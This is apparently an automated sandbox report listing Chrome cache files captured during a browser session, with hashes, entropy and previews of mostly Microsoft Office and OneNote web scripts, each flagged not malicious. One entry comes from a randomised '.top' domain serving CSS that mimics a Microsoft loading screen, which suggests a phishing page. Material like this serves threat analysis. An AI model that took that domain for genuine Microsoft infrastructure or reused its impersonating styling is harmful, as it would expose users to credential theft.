Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (58392)
Category:	dropped
Size (bytes):	58441
Entropy (8bit):	5.65377007639572
Encrypted:	false
SSDEEP:	768:HTA9thL2L3Z61NE99ezm2geHWwutV+KIbiufCAP1Jso9o8WBw3CVxBCMrb99vAOV:zA9tALeNEizm2gvsFW8KCPuMyB
MD5:	64CF57DDEFEE6B6909C89A150D729583
SHA1:	027B6EDDE1688950000D6CA19E997C79E03E2C77
SHA-256:	9AFCD14B4FC43E6D091C9A73564E28CA513FB536C19F78C7CA483DF29E610B44
SHA-512:	DB6EE42902F5BE2582A344590FBC65AC9AC39D2CFE36DBF7E530947B453DB92570328BB46D7E9333D0ABB38057B50A73BB276076F7CD6F6B7FD11425C71632A1
Malicious:	false
Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},a=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(a=a.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),a.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}(globalThis.onenote

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20946), with CRLF line terminators
Category:	downloaded
Size (bytes):	21179
Entropy (8bit):	4.946956269702156
Encrypted:	false
SSDEEP:	384:OZKKcZ2dMMj+hS6rLg4dHg15dR7tV6NvQLsljRei:OZ7j+w6rLg3HtsNvLhRei
MD5:	92A3DDF4C14AF9EB4DB2939A2B2712AC
SHA1:	81B322775A3E9E9335FB780179B6B922759CE6FF
SHA-256:	5B6D3F98F8A755878F226B38FDB1F7C31E67B456221F253B70F95AA331668594
SHA-512:	1A61A585D707BFC1E78B8734A89D1C73673324E1ABF5CF579799D73860A5160119FDCD2C910C8B77C827C42E76D1A7FEEA2D43E9ADBD3B95223514A34E563D61
Malicious:	false
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/en-us/office_strings.js
Preview:	if (window.Type && window.Type.registerNamespace) {..Type.registerNamespace("Strings");} else {..if(typeof(window['"Strings"']) == 'undefined') {..window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;..}....}..Strings.OfficeOM=function(){};if (Strings.OfficeOM.registerClass) Strings.OfficeOM.registerClass("Strings.OfficeOM");Strings.OfficeOM.L_APICallFailed="API Call Failed";Strings.OfficeOM.L_APINotSupported="API Not Supported";Strings.OfficeOM.L_ActivityLimitReached="Activity limit has been reached.";Strings.OfficeOM.L_AddBindingFromPromptDefaultText="Please make a selection.";Strings.OfficeOM.L_AddinIsAlreadyRequestingToken="Add-in is already requesting an access token.";Strings.OfficeOM.L_AddinIsAlreadyRequestingTokenMessage="The operation failed because this add-in is already requesting an access token.";Strings.OfficeOM.L_ApiNotFoundDetails="The method or property {0} is part of the {1} requirement set, which is not available in your version of {2}.";String

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65476)
Category:	downloaded
Size (bytes):	131576
Entropy (8bit):	5.3336550696173
Encrypted:	false
SSDEEP:	1536:WlHzBSZuu6aG6ePs15sqsDCNjiei7NmZuuJizS84Rb/KZAeLh:WlY676ePcegjiX7Nmxn9bKeeV
MD5:	3B09284824C13B8CDC6961C0E67F3882
SHA1:	D3E3DA90328D47BB43887CE0FA6176C936082B43
SHA-256:	6D3D61BC8A71041247CFB1C1CB8A7072CC3030B020B9F43845662EF1A05FA161
SHA-512:	DC7CF432825E9B99DDC25E432DB1DB6A13DCB98AB4C1F844ADF478307783D76E06173D64E960972FE7967DD8F013D913AB5F829C0CF38450D1F685195667EA97
Malicious:	false
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-11.010/wacodcowlhostwebpack.manifest/13.js
Preview:	/! For license information please see 13.js.LICENSE.txt /."use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[13],{223:(e,t,n)=>{n.r(t),n.d(t,{_InMemoryPropertyStorage:()=>ss,_OneDSLogger:()=>os,_SanitizerIds:()=>Fo.a,_getDefaultScrubberConfig:()=>ns.a});var a=n(0),i="function",r="object",o="undefined",s=Object,c=s.prototype,d=s.assign,l=s.create,u=s.defineProperty,f=c.hasOwnProperty,p=null;function m(e){void 0===e&&(e=!0);var t=!1===e?null:p;return t\|\|(typeof globalThis!==o&&(t=globalThis),t\|\|typeof self===o\|\|(t=self),t\|\|typeof window===o\|\|(t=window),t\|\|typeof n.g===o\|\|(t=n.g),p=t),t}function _(e){throw new TypeError(e)}function h(e){if(l)return l(e);if(null==e)return{};var t=typeof e;function n(){}return t!==r&&t!==i&&_("Object prototype may only be an Object:"+e),n.prototype=e,new n}(m()\|\|{}).Symbol,(m()\|\|{}).Reflect;var b,g=function(e,t){return g=s.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24306), with CRLF line terminators
Category:	downloaded
Size (bytes):	24452
Entropy (8bit):	5.328428296210481
Encrypted:	false
SSDEEP:	384:9CT9tmaKmjfU6/pyX98SRCRrXeFxf/biyMFRwV6ApqVblbtA69E/YNwwOIUAttmU:9CT9tmaXU6/pyN8SRCRrXeFxf/biyMF9
MD5:	AC459993971D136B5C420665B272E101
SHA1:	3C84797F6C43434519212E1AE74E84C4BC9E133A
SHA-256:	883922A710E857E94B35FD6748792782280A859E154E4DB2E4C0B4876DFA61AE
SHA-512:	35DDE4930521684FC51EB5E521D23259DB9A17455F572CCE8BF3E319BE1D69B0571D6E38AB9C72F5801E8777F567AED9742970E6409C0C77C255E995362B5477
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/hammer.min.js
Preview:	/! Hammer.JS - v2.0.8 - 2019-03-19.. http://hammerjs.github.io/.. .. Copyright (c) Jorik Tangelder;.. * Licensed under the MIT license */..(function(window,document,exportName,undefined){"use strict";function ifUndefined(val1,val2){return val1===undefined?val2:val1}var STATE_POSSIBLE=1;var STATE_BEGAN=2;var STATE_CHANGED=4;var STATE_ENDED=8;var STATE_RECOGNIZED=STATE_ENDED;var STATE_CANCELLED=16;var STATE_FAILED=32;var assign=void 0;if(typeof Object.assign!=="function"){assign=function assign(target){if(target===undefined\|\|target===null){throw new TypeError("Cannot convert undefined or null to object")}var output=Object(target);for(var index=1;index<arguments.length;index++){var source=arguments[index];if(source!==undefined&&source!==null){for(var nextKey in source){if(source.hasOwnProperty(nextKey)){output[nextKey]=source[nextKey]}}}}return output}}else{assign=Object.assign}var assign$1=assign;var _uniqueId=1;function uniqueId(){return _uniqueId++}function each(obj,iterator,con

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2936)
Category:	dropped
Size (bytes):	2985
Entropy (8bit):	5.4388922463314096
Encrypted:	false
SSDEEP:	48:mYGyk7JKN7iG3azeBLJlh+bJP5aBARG+8DVKX+6Q9fru1+6Q9agZO7+OcmwQ9vQh:mYGco0lh+NPEBAo+8w+Da1+DagZO+wpI
MD5:	4F1D12D57F5342C2B9B0ED43E73C39B8
SHA1:	C0C2E9B165076D27558A37C55B1E14CE9728FCEF
SHA-256:	5B1487ECD05FC0A7192742055E471EE39845AD39D20CFF2EF746FE5B62C5CB3C
SHA-512:	23AF0E4923B21072B18BD03852D79191413B2B01BC28F14D0FA06C946CA077F20E5788E33DFC580BA6DD5796D1020ADC796AE124B455AB03E1CADAC38E73B580
Malicious:	false
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[977],{27141:function(e,t,n){var o=n(27113),a=n(7954)(o);a.push([e.id,".wacCanvasOverlay__overlay___DpHwX {\n bottom: 0;\n left: -50px;\n position: absolute;\n right: 0;\n top: 0;\n z-index: 90;\n background: rgba(0, 0, 0, 0);\n -ms-high-contrast-adjust: none;\n}\n",""]),a.locals={overlay:"wacCanvasOverlay__overlay___DpHwX"},e.exports=a},4739:function(e,t,n){"use strict";var o=n(19857),a=n(21598),s=n(80700);const l=n(72919),r=(0,o.connect)((e=>({showOverlay:e.isVisible,navSelection:e.navSelection})))((e=>{const t=e.showOverlay&&!e.navSelection[s.C.SHOW_ALL]?a.createElement("div",{className:l.overlay}):null;return a.createElement("div",null,t)}));var c=n(49681),i=n(11289),d=n(11834),m=n(14435),u=n(4600),A=n(61358);let y=(0,i.I)();const S=(e,t)=>{let n={};return n[t]=!0,e((0,m.QI)(n)),c.Ay.ActionResponse.Succeeded};var v=n(49884),g=n(34632),h=n(63365),p=n(84768);const C=n(340);if(b=A.A.dispatch,c.Ay.Registe

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3379)
Category:	downloaded
Size (bytes):	4210
Entropy (8bit):	5.364580472613482
Encrypted:	false
SSDEEP:	48:sc+17gESlBdSqCavuSpDk5vXHgomMNZs7ulIWfcSOCOyY4XCFoLpp:XSEd916APuZsdC5Np
MD5:	59087D72EEDCB7650C9D5D6088440DD3
SHA1:	97B607FCE11F640E5764699038E50A76EB98944B
SHA-256:	E0E3FB0FE5CA541950CF8DD213FBE9E8957A3DB0010B515AD01ADFF6CA908A3E
SHA-512:	4F213391C01CFB017AB290007F3C7E66DB9B2A7A1EA4B4843DD52B0D7E5B1A5C04896BF1856806964F5A49C38A66403A8CDFE2C8C3EAF82C8318012F444DCD3F
Malicious:	false
URL:	https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/captcha/style.css
Preview:	@font-face{font-family:FabricMDL2Icons;src:url('//res.cdn.office.net/owamail/20240308003.09/resources/fonts/o365icons-mdl2.woff') format('woff');font-weight:400;font-style:normal}@font-face{font-family:office365icons;src:url('//res.cdn.office.net/owamail/20240308003.09/resources/fonts/office365icons.woff?') format('woff');font-weight:400;font-style:normal}#loadingScreen{position:fixed;top:0;bottom:0;left:0;right:0;background-color:#fff}#loadingLogo{position:fixed;top:calc(50vh - 90px);left:calc(50vw - 90px);width:180px;height:180px}#MSLogo{position:fixed;bottom:36px;left:calc(50vw - 50px)}.dark #loadingScreen{background-color:#333}.darkNew #loadingScreen{background-color:#1f1f1f}.:root{--s:180px;--envW:130px;--envH:71px;--calW:118px;--sqW:calc(var(--calW) / 3);--sqH:37px;--calHH:20px;--calH:calc(var(--sqH) * 3 + var(--calHH));--calY:calc(var(--calH) + 20px);--calYExt:calc(var(--calH) - 80px);--calYOverExt:calc(var(--calH) - 92px);--flapS:96px;--flapH:calc(0.55 * var(--envH));--flapScal

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33654)
Category:	dropped
Size (bytes):	33712
Entropy (8bit):	5.312964320999572
Encrypted:	false
SSDEEP:	768:jTkTStDd+8hoLE+Ye92stIminlpqPe3+KAXNGeOstcnk8DSyCO:DIStOHDo
MD5:	B6E215C559C24CAFD09273E9BFAFD357
SHA1:	ECCF0B92955DACEAF6FAD3A9DE7C36EB65B341CB
SHA-256:	DAF0C5F563BBD6915BEA269FA160B52176BAE7AA972FFA7F0D9345165A4825F3
SHA-512:	06FDF7EC3F675C5B458F16E206FE8F64624A3046531EA5484C72CA58136D449DF1638B9AE9CD78C0E355A4A05D373E18D89F96743CCAFF5700DECD1BD52620E9
Malicious:	false
Preview:	!function(e){var t={};function i(s){if(t[s])return t[s].exports;var r=t[s]={i:s,l:!1,exports:{}};return e[s].call(r.exports,r,r.exports,i),r.l=!0,r.exports}i.m=e,i.c=t,i.d=function(e,t,s){i.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:s})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,t){if(1&t&&(e=i(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)i.d(s,r,function(t){return e[t]}.bind(null,r));return s},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=0)}([function(e,t,i){"use strict";var s;function r(e){if(!e)return;const t={};return e.forEac

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14666), with no line terminators
Category:	dropped
Size (bytes):	14666
Entropy (8bit):	5.192998441009612
Encrypted:	false
SSDEEP:	192:9dbIGOqZ05GyaKzhRCwqyf/q2E+Rh99TzlfVNyv83+LBoaWLNwGfiC8O5PPM:9BiUQhRVfye99Pl9483+LBoaWLqv
MD5:	8880E957219B056B26B67D88CB7FFFF5
SHA1:	BE024ABFE99C2DC447191E2C59DD96FD9352E2C4
SHA-256:	4BBB0DBB03A136E993BB2FB363455E7DCABF84CBB17DE37AD6168B9326E56909
SHA-512:	1E611B1C8D3B7DE4CEE215C989885A6F8256B89A51621B77598A9A363AAF2897FC439DD73860234BA77AB682B84D05437CE0DBBDA59C3C1B5CC9D16662897EC5
Malicious:	false
Preview:	if("undefined"!=typeof jSanity)throw"jSanity has been defined, please check if there's any duplicate reference.";jSanity={},function(e){"use strict";var t={inputString:"",maxWidth:"600px",maxHeight:"200px",overflow:"hidden",allowLinks:!0,linkClickCallback:null,customProtocols:{},allowRelativeURLs:!1,allowAudioVideo:!1,unsupportedContentCallback:null,externalContentCallback:function(e,t,r,o){var i;if("attribute"===e&&"src"===t)for(var n in o)if(o.hasOwnProperty(n)&&r.substring(0,n.length)===n){i=!0;break}return i\|\|(r="CSSURL"===e?'url("about:blank")':"about:blank"),r},isolatedTargetDOM:!1,directModifySource:!0,attributePrefix:"jSanity",dataAttributeCallback:null,debugLevel:0,onFinishedCallback:null},r=function(){this.sync=!0,this.jobs=[],this.id=r.globalId++,this.listnerPosfix=0,this.onCompletedListners={},this.onNewJobAddedListners={},this.useSync=function(){this.sync=!0},this.useAsync=function(){this.sync=!1},this.addNewJob=function(e){for(var t in this.jobs.push(e),this.onNewJobAdded

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	73609
Entropy (8bit):	5.5168576069870365
Encrypted:	false
SSDEEP:	1536:jxLs+4IkkBO62p/Tk/1GhsnwCeOYNLhQi/:jNb4IkkBO62k/1CWleOYlhQ2
MD5:	641ED2F088E8590E8A1FA338B988EE64
SHA1:	84B6C315096AE4CAF1EB06FA25AABA97FA3A19D7
SHA-256:	3E5143BA7FDD5C2AAEAE9B33D0B816CE31010263F46B4404F0757E7815904004
SHA-512:	9CFB43A421C6EA6E3DC97DB9F71F396815515F3ED35510DC3188DD1B52C1903512CDCA2E96280C5BC99751802E54AF9C9EF972795C28219BA9C709FD321D0C2A
Malicious:	false
Preview:	(globalThis.webpackChunkMicrosoft_Office_OWL=globalThis.webpackChunkMicrosoft_Office_OWL\|\|[]).push([[6720],{32210:function(e,n,t){"use strict";t.d(n,{A:function(){return a}});var o=t(79206),r=t.n(o),i=t(87166),s=t.n(i)()(r());s.push([e.id,".lLFji2JIIWB51LkuYBKM{width:75%;height:75%;position:fixed;top:50%;left:50%;transform:translateY(-50%) translateX(-50%);background-color:#fff;box-sizing:border-box;outline:1px solid transparent;z-index:5;box-shadow:0 0 5px 0 rgba(0,0,0,.4);border:none}","",{version:3,sources:["webpack://./../owl-service/lib/filePicker/filePickerStyles.module.scss"],names:[],mappings:"AAAA,sBACE,SAAA,CACA,UAAA,CACA,cAAA,CACA,OAAA,CACA,QAAA,CACA,2CAAA,CACA,qBAAA,CACA,qBAAA,CACA,6BAAA,CACA,SAAA,CACA,mCAAA,CACA,WAAA",sourcesContent:[".file-picker-iframe {\n width: 75%;\n height: 75%;\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translateY(-50%) translateX(-50%);\n background-color: #fff;\n box-sizing: border-box;\n outline: 1px solid transparent;\n z

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	109
Entropy (8bit):	4.66560738606782
Encrypted:	false
SSDEEP:	3:YmEoEMCL2RH2hAcBQMh0wVWu+xJs/FEH2MmRJBUn:YmEoYL2HuAJW0m+sNb2n
MD5:	B22CAC36842DCB642F5BFF86C0FF2FB9
SHA1:	7F0557D5258453F55C1DB5DD40AB7F1C31932655
SHA-256:	E25ABD11267B28557444D53A9A3BF52A796DF20A14205FDE0B19C6B8287976B3
SHA-512:	D991A7C2B5552EF795F01450BEB8FE91785FAB87DD53361AD4048972BADB46180966120B0EF42B647654DE6CB8E8DF6D13EFDC2C170CB498FD8DBAC63629ADAC
Malicious:	false
URL:	https://messaging.engagement.office.com/campaignmetadataaggregator?country=US&locale=en-US&app=2158&platform=Web&version=16.0.18214.41004&campaignParams=pageWidth%3D1034%26pageHeight%3D870%26screenWidth%3D1280%26screenHeight%3D1024%26colorDepth%3D24%26more%3Dtrue%26OFC_Audience%3DProduction%26Datacenter%3DPUS11%26TenantId%3D9188040d-6c67-4c5b-b112-36a304b66dad%26SelfTriggerActivity%3D%26&contentType=CampaignContent%3BDynamicSettings&puid=&OFC_FLIGHTS=&ageGroup=0&sessionUserType=2
Preview:	{"CampaignContent":{"campaigns":[]},"DynamicSettings":{"TmsLoadTimeout":3000,"TeachingMessageCooldown":3600}}

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1248494
Entropy (8bit):	5.538461680476485
Encrypted:	false
SSDEEP:	24576:fQ3VbTgDxy73Hu+sYsdiFQ+E2bCaG3Z83:fQ3VbEDxy73O+sYSim+E2+H3Zg
MD5:	669A6FE594693F2596A28853D92FB309
SHA1:	FE5DE41CFEFAC7DDEFAD06322238D30FAFEEC580
SHA-256:	60DD865806D547201402D473A6C7C2635477A33F3E871428557143273872F13C
SHA-512:	C17A899B62B5CFF4DC5531969BF61E24F58C308AC2503A78A16DAB76BD1167BDC5FE904869F4BF133D77972EB6A8853F664A3269BE21B42DE1226AB5A1B72384
Malicious:	false
Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},o=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(o=o.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),o.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}function _object_wi

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65437)
Category:	downloaded
Size (bytes):	642651
Entropy (8bit):	5.331965832262166
Encrypted:	false
SSDEEP:	12288:+CxME1PRsBSsUtbMS07NGb4EyuGVS3UqeuH:+dEXsBSsUGS07NGbt3UqeuH
MD5:	1F17361FB29A6080C472FE5C698043C9
SHA1:	871666BDC70C55EFAAD11AF36162CE91A65956EF
SHA-256:	CC4307363023A70100271E492118FCE784D287479B2AC86BDB3DBD1FB2BAAF9F
SHA-512:	730C7778E20545E08C5C65E2321FEFC6D93CB5C0F0A5F4254CF3B4E6ED29C1D125812EDBF5359AC418B8B4CC15DC6B2E92EC2243B265FE43A47A35AA0E582176
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/sharedauthclientmsal.39dcdf70a2434436117b.js
Preview:	/! For license information please see sharedauthclientmsal.39dcdf70a2434436117b.js.LICENSE.txt /.var Microsoft;!function(){var e,t,n,r,o,i,a={6839:function(e,t,n){"use strict";n.d(t,{nr:function(){return u}});var r,o=n(2440),i=n(9565),a="__stylesheet__",s="undefined"!=typeof navigator&&/rv:11.0/.test(navigator.userAgent),c={};try{c=window\|\|{}}catch(e){}var u=function(){function e(e,t){var n,r,i,a,s,c;this._rules=[],this._preservedRules=[],this._counter=0,this._keyToClassName={},this._onInsertRuleCallbacks=[],this._onResetCallbacks=[],this._classNameToArgs={},this._config=(0,o.Cl)({injectionMode:"undefined"==typeof document?0:1,defaultPrefix:"css",namespace:void 0,cspSettings:void 0},e),this._classNameToArgs=null!==(n=null==t?void 0:t.classNameToArgs)&&void 0!==n?n:this._classNameToArgs,this._counter=null!==(r=null==t?void 0:t.counter)&&void 0!==r?r:this._counter,this._keyToClassName=null!==(a=null!==(i=this._config.classNameCache)&&void 0!==i?i:null==t?void 0:t.keyToClassName)&&void

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11667), with no line terminators
Category:	dropped
Size (bytes):	11667
Entropy (8bit):	4.97980937003193
Encrypted:	false
SSDEEP:	192:cHGtlNF+JzgGuA3pNvWAPsYmiT398yRFXiBpiiBlVIkslsunbe4uGfEinAMj9fsh:T/kpldNhVVimx+8mkKDypJBJeJjxQSlT
MD5:	A1D892F1368C7F3B1DFB75057B936B66
SHA1:	91EC4980BFA5B301199B574E6240A618247679F9
SHA-256:	2DB70125E37F651D09A6D03D593A65E09668E6267CCA1257251328517F7EAEFC
SHA-512:	F2834E3B673CF7BFBABF9A92A0D4524F5696996CA67EBD6605F08206C95C3DCCE3AB95E4297452186074EB92827BFA4D811A61959EBA60544393BA14F4C7A3B9
Malicious:	false
Preview:	Type.registerNamespace("Strings");Strings.OsfRuntime=function(){};Strings.OsfRuntime.registerClass("Strings.OsfRuntime");Strings.OsfRuntime.L_ActivateAttempLoading_ERR="This add-in may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateAttempLoading_ERR_FirstParty="This feature may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateButton_TXT="Start";Strings.OsfRuntime.L_AddinCommands_AddinNotSupported_Message="Your add-in manifest is not valid.";Strings.OsfRuntime.L_AddinCommands_LearnMore_Link="Learn more.";Strings.OsfRuntime.L_AddinsCatalogIframeTitle_TXT="Office Add-ins catalog iframe";Strings.OsfRuntime.L_AgaveActivationError_ERR="Something went wrong and we couldn't start this add-in. Please try again later or contact your system administrator.";Strings.OsfRuntime.L_AgaveActivationError_ERR_FirstParty="Something went wrong and we couldn't start this feature. Please try again later or contact your system administrat

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	144348
Entropy (8bit):	5.370495033348894
Encrypted:	false
SSDEEP:	3072:Xz+Blg9MUrK+1OHJe6SNmGli0uuK1ouWb0y9KhlJ31uCp3rNVa:XzMlgldOHJwAa3hXijp+
MD5:	9747CFD352DC4A728F7197577D939A01
SHA1:	A86856D0FB47046A9578FBCF1B3F4846684C10FF
SHA-256:	776C63720217ABF62AB3945E9AD5FD66C97CEBB88F5A2AD225867B85D9BA08F3
SHA-512:	701F414F67BEFDF8B109561302FB726286DEBB854F334FC211DAA22E539F9DEB97323D3342E8C139D0DCC645A256737489C834F5E39158897616EE7D62642975
Malicious:	false
Preview:	var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(t){var e={};function i(s){if(e[s])return e[s].exports;var o=e[s]={i:s,l:!1,exports:{}};return t[s].call(o.exports,o,o.exports,i),o.l=!0,o.exports}return i.m=t,i.c=e,i.d=function(t,e,s){i.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:s})},i.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},i.t=function(t,e){if(1&e&&(t=i(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)i.d(s,o,function(e){return t[e]}.bind(null,o));return s},i.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return i.d(e,"a",e),e},i.o=function(t,e){return Object.prototype.hasOwnPro

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	30974
Entropy (8bit):	5.174752216233697
Encrypted:	false
SSDEEP:	192:vHilq+BLd2Dj+myOfreXXmKECPtDTAkZnVtx6xfmwm01m/9/W0GU64Bh1oHfVb0E:3+BgOP2kRXGbQr67VY/6TTjZZGEjlr
MD5:	0F8A71C4D33149AC821AF59DD8780877
SHA1:	488B35F4C14517658F80CF926824D1AD51E2E02E
SHA-256:	8FBA642792C3C2C30BD6B8A8394332CCBA65BA0676079BCB516C2A201CA583AF
SHA-512:	56F677306A9091E45C1EE0E5A8611183EF331BA08D34B104469E0AD8B670D0B9C1E647E800C82CE3CABEBFAAD2CC6AA9A58E13D4B7F5CE08A3D4A7429F6513CE
Malicious:	false
URL:	https://res-1.cdn.office.net/shellux/api/ShellBootInfo/consumer/OneShell/en-us
Preview:	{"Architecture":1,"Audience":0,"Resources":{"Version":"1.20241013.2.4","CatalogXml":"<ResourceCatalog>\r\n <Resources>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-3c738e\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-3c738e.8fc4c4406c1153d9a4ba.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-3c738e.8fc4c4406c1153d9a4ba.js</LTRPath>\r\n </Resource>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-c6ba2c\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-c6ba2c.e4508a8a25ead64150e4.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-we

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8369), with no line terminators
Category:	downloaded
Size (bytes):	8369
Entropy (8bit):	4.927867822572244
Encrypted:	false
SSDEEP:	96:wwKI3zZc4ys873IJ7kx3HPcYaV2klI70JboeVPhHaAtZI88f+L+17XN8GdpF/w67:wZI3zmjLaMkho1lGJK8h/0
MD5:	3650AB0863890CA0F8ED7CB854D03F2B
SHA1:	86530F1BDFE32F6EE2C0B3770C648E13929A22D5
SHA-256:	A77B85A1922F1E45FA8610E3D68CA6CA1EE887499F3148D5922A304D44E03EDF
SHA-512:	9F43BBF3448D687D2FFCD554FC47C7136EEA20685D508140D2496D00A01108326ED32FC16164E59BF32794608DC31C42DD394F44B5E4EF51CA1A7283FFFF006F
